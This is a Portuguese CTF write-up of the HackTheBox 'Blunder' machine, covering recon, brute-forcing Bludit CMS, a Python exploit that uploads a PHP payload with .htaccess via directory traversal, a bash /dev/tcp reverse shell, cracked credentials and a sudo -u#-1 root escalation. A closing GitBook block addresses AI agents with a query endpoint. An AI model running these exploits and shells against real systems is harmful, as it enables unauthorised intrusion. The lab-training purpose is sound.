> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md). # Writeup do HackTheBox Blunder Writeup da máquina Easy Linux Blunder do HackTheBox cobrindo exploração do Bludit CMS, contornando bloqueio de IP (cabeçalho X-Forwarded-For), upload de imagem com traversal de diretório (brincando com .htaccess), abuso {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Exploração do Bludit CMS * Contornando bloqueio de IP (cabeçalho X-Forwarded-For) * Upload de arquivo de imagem com travessia de diretório (brincando com .htaccess) * Abusando do privilégio sudo (CVE-2019-14287) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts ```

**Análise das Portas Abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80)

Varredura de versões das portas com Nmap: Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80 10.10.10.191 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

## Porta 80 (Blunder):

**Varredura de diretórios** Use **Gobuster** para encontrar diretórios interessantes: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * Resultado: Descoberta do **/admin** diretório.

**Identificação do CMS** Ao acessar **/admin**, o Bludit CMS (versão **3.9.2**) é detectado.

## **Exploração do Bludit CMS**

**Buscar vulnerabilidades** Use `searchsploit` para encontrar vulnerabilidades conhecidas:

#### Vulnerabilidade detectada: **CVE-2019-17240** {% hint style="info" %} O exploit tem como objetivo explorar uma vulnerabilidade na mitigação de ataques de força bruta no Bludit, uma plataforma CMS (Content Management System). A vulnerabilidade, identificada como **CVE-2019-17240**, permite que um atacante contorne as proteções contra ataques de força bruta implementadas nas versões do Bludit anteriores ou iguais a 3.9.2. {% endhint %} `searchsploit -m php/webapps/48942.py` **Arquivo de texto encontrado** Faça pesquisa adicional com o Gobuster: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html ```

Conteúdo: Usuário identificado: **fergus**.

### Força bruta no Bludit Assim que o usuário **fergus** for descoberto, use um dicionário para lançar um ataque de força bruta: ```bash python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt ``` Nenhuma correspondência encontrada para o arquivo **rockyou.txt**. ### **Dicionário personalizado** Use **Cewl** para gerar um dicionário com base no site: ```bash cewl -u http://blunder.htb/ -w password.txt ```

Relance o ataque de força bruta com o dicionário personalizado:

* Senha encontrada: `fergus:RolandDeschain`

## Exploração de Upload de Arquivo de Imagem com travessia de diretório: Uma vez autenticado, este CMS é vulnerável a um **travessia de diretório** do tipo que permite o upload de arquivos maliciosos. {% embed url="" %} {% hint style="info" %} Podemos especificar o local do arquivo baixado alterando o valor de `uuid` e então fazer upload de uma imagem maliciosa para a pasta temporária. {% endhint %} Após a autenticação, é possível baixar um novo exploit via `searchsploit` em `multiple/webapps/48701.txt`, que fornece os passos para explorar essa vulnerabilidade.

**Passos para a operação**

1. **Crie um arquivo malicioso** (`evil.png`) contendo código PHP: ```bash ``` 2. **Modifique o script para adaptá-lo à situação** (endereço IP da vítima, nome de usuário, senha etc.).

3. **Execute o exploit:** Script Python de exploração: ```python #!/usr/bin/env python3 import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout url = 'http://blunder.htb/admin' # ALTERE-ME username = 'fergus' # ALTERE-ME password = 'RolandDeschain' # ALTERE-ME # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png # echo -e " evil.png payload = 'evil.png' # CRIE-ME #echo "RewriteEngine off" > .htaccess #echo "AddType application/x-httpd-php .png" >> .htaccess payload2 = '.htaccess' # CRIE-ME def login(url,username,password): """ Faça login com as credenciais de admin fornecidas e obtenha o cookie assim que autenticado """ session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text ).group(1) cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1]) data = {"save":"", "password":password, "tokenCSRF":csrf_token, "username":username} headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer": url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/", data=data, headers=headers, cookies=cookies, allow_redirects = False ) print("cookie: " + cookie) return cookie def get_csrf_token(url,cookie): """ Obtenha o token CSRF de uma sessão autenticada """ session = requests.Session() headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies ) csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0] print("csrf_token: " + csrf_token) return csrf_token def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False): """ Faça upload dos arquivos necessários para executar PHP a partir de arquivos de imagem maliciosos. Payload e .htaccess """ session = requests.Session() files= {"images[]": (payload, open(payload, "rb"), "multipart/form-data", {"Content-Type": "image/png", "filename":payload} )} if override_uuid: data = {"uuid": "../../tmp/temp", "tokenCSRF":csrf_token} else: # No app vulnerável, esta linha ocorre primeiro: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Embora haja uma verificação da extensão do arquivo, isso não vai realmente nos impedir # de fazer upload do arquivo .htaccess. data = {"tokenCSRF":csrf_token} headers = {"Origin":url, "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/new-content", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies) print("Uploading payload: " + payload) if __name__ == "__main__": cookie = login(url, username, password) token = get_csrf_token(url, cookie) upload_evil_image(url, cookie, token, payload, True) upload_evil_image(url, cookie, token, payload2) ```

4. **Acesse o arquivo malicioso**: Assim que a imagem tiver sido baixada, basta ir para `/bl-content/tmp/temp/evil.png` para executar comandos.

5. **Escute na porta 443 com Netcat**: ```bash nc -nvlp 443 ``` 5. **Execute uma shell reversa**: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261" ```

**Gerenciamento de Sessão de Terminal** : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Escalada de Privilégios Explorar os arquivos revela um arquivo `users.php` no `databases` pasta contendo credenciais hash dos usuários `fergus` e `admin`: `admin:bfcc887f62e36ea019e3295aafb8a3885966e265` `fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

Ao usar o CrackStation para tentar quebrar esses hashes, parece que eles não são reconhecidos.

No entanto, na raiz do site, é encontrada uma versão mais recente do Bludit, contendo os mesmos arquivos de configuração, mas com credenciais diferentes:

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

`hugo:Password120`

### Flag user.txt:

### Abusando do privilégio sudo (CVE-2019-14287): Ao examinar os privilégios sudo, descobrimos uma configuração vulnerável no arquivo sudoers. Usando o `sudo -l` comando, identificamos um privilégio que permite que todos os usuários, exceto `root` fazer login com o `/bin/bash` comando:

{% embed url="" %} Esta vulnerabilidade afeta todas as versões do sudo anteriores à versão 1.8.27. No nosso caso, a versão do sudo é inferior a 1.8.27, o que torna essa vulnerabilidade explorável.

Para explorar essa vulnerabilidade, basta executar o seguinte comando: ```bash sudo -u#-1 /bin/bash ``` Este comando permite que você execute uma shell como o usuário `-1`, o que corresponde ao usuário `root`.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.